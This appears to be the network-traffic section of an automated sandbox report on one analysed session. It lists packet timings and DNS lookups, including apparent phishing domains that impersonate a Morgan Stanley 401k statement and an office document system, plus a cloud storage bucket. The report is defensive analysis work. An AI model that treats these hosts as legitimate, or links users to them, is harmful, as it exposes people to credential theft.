Jan 30, 2025 19:26:48.197849989 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.197900057 CET	50084	443	192.168.2.4	43.152.64.207
Jan 30, 2025 19:26:48.197906017 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.197943926 CET	50084	443	192.168.2.4	43.152.64.207
Jan 30, 2025 19:26:48.202193022 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.202241898 CET	50084	443	192.168.2.4	43.152.64.207
Jan 30, 2025 19:26:48.202248096 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.211826086 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.211839914 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.211880922 CET	50084	443	192.168.2.4	43.152.64.207
Jan 30, 2025 19:26:48.211888075 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.216885090 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.216933966 CET	50084	443	192.168.2.4	43.152.64.207
Jan 30, 2025 19:26:48.216941118 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.221236944 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.221292019 CET	50084	443	192.168.2.4	43.152.64.207
Jan 30, 2025 19:26:48.221298933 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.226860046 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.226872921 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.226921082 CET	50084	443	192.168.2.4	43.152.64.207
Jan 30, 2025 19:26:48.226927996 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.232912064 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.232961893 CET	50084	443	192.168.2.4	43.152.64.207
Jan 30, 2025 19:26:48.232969046 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.237365961 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.237415075 CET	50084	443	192.168.2.4	43.152.64.207
Jan 30, 2025 19:26:48.237421989 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.274180889 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.274194956 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.274282932 CET	50084	443	192.168.2.4	43.152.64.207
Jan 30, 2025 19:26:48.274293900 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.277677059 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.277740955 CET	50084	443	192.168.2.4	43.152.64.207
Jan 30, 2025 19:26:48.277750015 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.277762890 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:48.277812958 CET	50084	443	192.168.2.4	43.152.64.207
Jan 30, 2025 19:26:48.277961969 CET	50084	443	192.168.2.4	43.152.64.207
Jan 30, 2025 19:26:48.277977943 CET	443	50084	43.152.64.207	192.168.2.4
Jan 30, 2025 19:26:49.927925110 CET	50086	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:49.927951097 CET	443	50086	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:49.928016901 CET	50086	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:49.928298950 CET	50086	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:49.928313971 CET	443	50086	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:49.941997051 CET	50087	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:49.942091942 CET	443	50087	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:49.942177057 CET	50087	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:49.943037033 CET	50087	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:49.943073034 CET	443	50087	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:50.437114000 CET	443	50087	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:50.441272020 CET	50087	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:50.441324949 CET	443	50087	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:50.441720963 CET	443	50087	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:50.449421883 CET	50087	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:50.449518919 CET	443	50087	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:50.449561119 CET	50087	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:50.495340109 CET	443	50087	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:50.496577978 CET	50087	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:50.584111929 CET	443	50086	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:50.584361076 CET	50086	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:50.584381104 CET	443	50086	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:50.586088896 CET	443	50086	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:50.586153984 CET	50086	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:50.587076902 CET	50086	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:50.587162018 CET	443	50086	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:50.587263107 CET	50086	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:50.627331972 CET	443	50086	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:50.635611057 CET	50086	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:50.635617971 CET	443	50086	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:50.682288885 CET	50086	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:50.844212055 CET	443	50086	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:50.844261885 CET	443	50086	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:50.844340086 CET	50086	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:50.844363928 CET	443	50086	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:50.844531059 CET	443	50086	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:50.845036030 CET	50086	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:50.845187902 CET	50086	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:50.845205069 CET	443	50086	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:50.857203007 CET	50091	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:50.857254028 CET	443	50091	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:50.857326031 CET	50091	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:50.857522964 CET	50091	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:50.857541084 CET	443	50091	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:51.081671953 CET	443	50087	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:51.081756115 CET	443	50087	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:51.081917048 CET	50087	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:51.082364082 CET	50087	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:51.082405090 CET	443	50087	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:51.086168051 CET	50093	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:51.086199045 CET	443	50093	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:51.086285114 CET	50093	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:51.086478949 CET	50093	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:51.086494923 CET	443	50093	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:51.486243010 CET	443	50091	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:51.533339024 CET	50091	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:51.533883095 CET	50091	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:51.533895969 CET	443	50091	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:51.538008928 CET	443	50091	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:51.538110018 CET	50091	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:51.538347960 CET	50091	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:51.538471937 CET	50091	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:51.538609028 CET	443	50091	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:51.594710112 CET	50091	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:51.594721079 CET	443	50091	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:51.606852055 CET	443	50093	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:51.608701944 CET	50093	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:51.608721972 CET	443	50093	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:51.609066963 CET	443	50093	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:51.618436098 CET	50093	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:51.618500948 CET	443	50093	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:51.618663073 CET	50093	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:51.637392998 CET	50091	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:51.659373045 CET	443	50093	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:51.746819973 CET	443	50093	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:51.746876001 CET	443	50093	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:51.746922970 CET	50093	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:51.747364044 CET	50093	443	192.168.2.4	69.49.246.64
Jan 30, 2025 19:26:51.747375011 CET	443	50093	69.49.246.64	192.168.2.4
Jan 30, 2025 19:26:51.751240015 CET	443	50091	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:51.751368046 CET	443	50091	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:51.751419067 CET	50091	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:51.751432896 CET	443	50091	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:51.751559973 CET	443	50091	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:51.751610041 CET	50091	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:51.751859903 CET	50091	443	192.168.2.4	2.23.209.34
Jan 30, 2025 19:26:51.751873970 CET	443	50091	2.23.209.34	192.168.2.4
Jan 30, 2025 19:26:55.971963882 CET	443	50068	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:55.972044945 CET	443	50068	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:55.972163916 CET	50068	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:56.402956009 CET	50068	443	192.168.2.4	104.18.95.41
Jan 30, 2025 19:26:56.403017998 CET	443	50068	104.18.95.41	192.168.2.4
Jan 30, 2025 19:26:56.491235018 CET	443	50069	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:56.491482019 CET	443	50069	104.21.80.1	192.168.2.4
Jan 30, 2025 19:26:56.491544962 CET	50069	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:58.402858973 CET	50069	443	192.168.2.4	104.21.80.1
Jan 30, 2025 19:26:58.402894020 CET	443	50069	104.21.80.1	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 30, 2025 19:24:12.059261084 CET	61394	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:12.059508085 CET	57558	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:12.066410065 CET	53	62261	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:12.069026947 CET	53	51052	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:12.072551966 CET	53	61394	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:12.074490070 CET	53	57558	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:13.110488892 CET	62324	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:13.118288994 CET	53	62324	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:13.320210934 CET	57915	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:13.320368052 CET	55363	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:13.331576109 CET	53	57915	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:13.332072973 CET	53	55363	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:13.350497961 CET	53	56886	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:14.025854111 CET	56449	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:14.026308060 CET	62071	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:14.041686058 CET	53	62071	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:14.191024065 CET	53	56449	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:15.656968117 CET	50201	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:15.657104969 CET	52985	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:15.671171904 CET	53	50201	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:15.831234932 CET	53	52985	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:16.370547056 CET	52810	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:16.370661974 CET	55528	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:16.377492905 CET	53	52810	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:16.377526045 CET	53	55528	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:16.556025982 CET	55542	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:16.556154013 CET	54284	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:16.562968969 CET	53	55542	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:16.563589096 CET	53	54284	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:18.214396000 CET	64427	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:18.214759111 CET	52504	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:18.221385956 CET	53	64427	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:18.221441984 CET	53	52504	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:18.256975889 CET	57063	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:18.257102966 CET	51854	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:18.263932943 CET	53	51854	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:18.263943911 CET	53	57063	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:21.080059052 CET	52451	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:21.080370903 CET	56576	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:24:21.088257074 CET	53	56576	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:21.090378046 CET	53	52451	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:22.552947044 CET	138	138	192.168.2.4	192.168.2.255
Jan 30, 2025 19:24:30.269798994 CET	53	60132	1.1.1.1	192.168.2.4
Jan 30, 2025 19:24:49.081789970 CET	53	59110	1.1.1.1	192.168.2.4
Jan 30, 2025 19:25:11.880799055 CET	53	53886	1.1.1.1	192.168.2.4
Jan 30, 2025 19:25:11.973233938 CET	53	54707	1.1.1.1	192.168.2.4
Jan 30, 2025 19:25:42.205732107 CET	53	62976	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:24.399091959 CET	50461	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:24.399280071 CET	55330	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:24.406286001 CET	53	55330	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:24.406311989 CET	53	50461	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:26.022445917 CET	53638	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:26.022701979 CET	60531	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:26.029270887 CET	53	53638	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:26.029344082 CET	53	60531	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:26.491636992 CET	53	63793	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:40.587979078 CET	57892	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:40.588165045 CET	55038	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:40.588486910 CET	60676	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:40.588609934 CET	58848	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:40.595132113 CET	53	60676	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:40.596225977 CET	53	58848	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:40.602108955 CET	53	55038	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:40.752415895 CET	53	57892	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:42.485934019 CET	58270	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:42.486073017 CET	56999	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:42.486576080 CET	55965	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:42.486717939 CET	63244	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:42.487149954 CET	62079	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:42.487298965 CET	57249	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:42.488326073 CET	55881	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:42.488466024 CET	63063	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:42.488923073 CET	52898	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:42.489069939 CET	59286	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:42.494673967 CET	53	58270	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:42.494712114 CET	53	56999	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:42.494900942 CET	53	55965	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:42.495594978 CET	53	62079	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:42.496311903 CET	53	50267	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:42.496341944 CET	53	63244	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:42.496992111 CET	53	57249	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:42.497138977 CET	53	55881	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:42.497282982 CET	53	63063	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:42.651741028 CET	53	59286	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:42.883872986 CET	53	52898	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:43.271435022 CET	53738	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:43.271575928 CET	64431	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:43.278312922 CET	53	64431	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:43.278351068 CET	53	53738	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:43.294899940 CET	49180	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:43.295002937 CET	64295	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:43.295392990 CET	55212	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:43.295516968 CET	62280	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:43.301851034 CET	53	64295	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:43.301881075 CET	53	49180	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:43.302087069 CET	53	55212	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:43.302527905 CET	53	62280	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:43.331134081 CET	54940	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:43.331254005 CET	53288	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:43.338452101 CET	53	54940	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:43.339422941 CET	53	53288	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:43.653554916 CET	53	61441	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:45.356220007 CET	61766	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:45.356551886 CET	57044	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:45.362535954 CET	54478	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:45.362761021 CET	55224	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:45.577275991 CET	53	55224	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:45.597138882 CET	53	57044	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:45.728027105 CET	53	54478	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:45.836719036 CET	53	61766	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:46.876813889 CET	56338	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:46.876961946 CET	50677	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:47.091249943 CET	53	50677	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:47.091295958 CET	53	56338	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:49.915782928 CET	58691	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:49.915932894 CET	64813	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:49.925045967 CET	53	58691	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:49.927309036 CET	53	64813	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:50.026377916 CET	53	56308	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:50.848536015 CET	54126	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:50.848818064 CET	50780	53	192.168.2.4	1.1.1.1
Jan 30, 2025 19:26:50.855417013 CET	53	54126	1.1.1.1	192.168.2.4
Jan 30, 2025 19:26:50.856307983 CET	53	50780	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 30, 2025 19:24:15.831356049 CET	192.168.2.4	1.1.1.1	c2ec	(Port unreachable)	Destination Unreachable
Jan 30, 2025 19:26:40.752546072 CET	192.168.2.4	1.1.1.1	c264	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 30, 2025 19:24:12.059261084 CET	192.168.2.4	1.1.1.1	0xcc84	Standard query (0)	876rfyguyt7ygty.401kstatementmorganstanley.workers.dev	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:12.059508085 CET	192.168.2.4	1.1.1.1	0x8373	Standard query (0)	876rfyguyt7ygty.401kstatementmorganstanley.workers.dev	65	IN (0x0001)	false
Jan 30, 2025 19:24:13.110488892 CET	192.168.2.4	1.1.1.1	0xda97	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:13.320210934 CET	192.168.2.4	1.1.1.1	0x532f	Standard query (0)	r56eqpki1r3pdt55n3rm.wearedhaka.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:13.320368052 CET	192.168.2.4	1.1.1.1	0x8404	Standard query (0)	r56eqpki1r3pdt55n3rm.wearedhaka.com	65	IN (0x0001)	false
Jan 30, 2025 19:24:14.025854111 CET	192.168.2.4	1.1.1.1	0x6162	Standard query (0)	office.docmanagementsystem.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:14.026308060 CET	192.168.2.4	1.1.1.1	0x2f1f	Standard query (0)	office.docmanagementsystem.com	65	IN (0x0001)	false
Jan 30, 2025 19:24:15.656968117 CET	192.168.2.4	1.1.1.1	0x5126	Standard query (0)	office.docmanagementsystem.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:15.657104969 CET	192.168.2.4	1.1.1.1	0x5d4f	Standard query (0)	office.docmanagementsystem.com	65	IN (0x0001)	false
Jan 30, 2025 19:24:16.370547056 CET	192.168.2.4	1.1.1.1	0xabfb	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:16.370661974 CET	192.168.2.4	1.1.1.1	0xcd53	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 30, 2025 19:24:16.556025982 CET	192.168.2.4	1.1.1.1	0xa04f	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:16.556154013 CET	192.168.2.4	1.1.1.1	0x506e	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 30, 2025 19:24:18.214396000 CET	192.168.2.4	1.1.1.1	0x3e53	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:18.214759111 CET	192.168.2.4	1.1.1.1	0xff42	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 30, 2025 19:24:18.256975889 CET	192.168.2.4	1.1.1.1	0x11a7	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:18.257102966 CET	192.168.2.4	1.1.1.1	0x45de	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 30, 2025 19:24:21.080059052 CET	192.168.2.4	1.1.1.1	0x88ff	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:24:21.080370903 CET	192.168.2.4	1.1.1.1	0x4509	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:24.399091959 CET	192.168.2.4	1.1.1.1	0x9121	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:24.399280071 CET	192.168.2.4	1.1.1.1	0x6eed	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:26.022445917 CET	192.168.2.4	1.1.1.1	0x4a7f	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:26.022701979 CET	192.168.2.4	1.1.1.1	0xe90b	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:40.587979078 CET	192.168.2.4	1.1.1.1	0x2f98	Standard query (0)	office.docmanagementsystem.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:40.588165045 CET	192.168.2.4	1.1.1.1	0x489f	Standard query (0)	office.docmanagementsystem.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:40.588486910 CET	192.168.2.4	1.1.1.1	0x83fa	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:40.588609934 CET	192.168.2.4	1.1.1.1	0x72d6	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:42.485934019 CET	192.168.2.4	1.1.1.1	0x8c6	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.486073017 CET	192.168.2.4	1.1.1.1	0xdcf1	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:42.486576080 CET	192.168.2.4	1.1.1.1	0x2d3c	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.486717939 CET	192.168.2.4	1.1.1.1	0xf04a	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:42.487149954 CET	192.168.2.4	1.1.1.1	0xa14a	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.487298965 CET	192.168.2.4	1.1.1.1	0xfd43	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:42.488326073 CET	192.168.2.4	1.1.1.1	0x8267	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.488466024 CET	192.168.2.4	1.1.1.1	0x9833	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:42.488923073 CET	192.168.2.4	1.1.1.1	0x25c	Standard query (0)	782137365-1317754460.cos.ap-singapore.myqcloud.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:42.489069939 CET	192.168.2.4	1.1.1.1	0xd2a	Standard query (0)	782137365-1317754460.cos.ap-singapore.myqcloud.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:43.271435022 CET	192.168.2.4	1.1.1.1	0xc2ca	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:43.271575928 CET	192.168.2.4	1.1.1.1	0x3f75	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Jan 30, 2025 19:26:43.294899940 CET	192.168.2.4	1.1.1.1	0xa35d	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 30, 2025 19:26:43.295002937 CET	192.168.2.4	1.1.1.1	0x7719	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
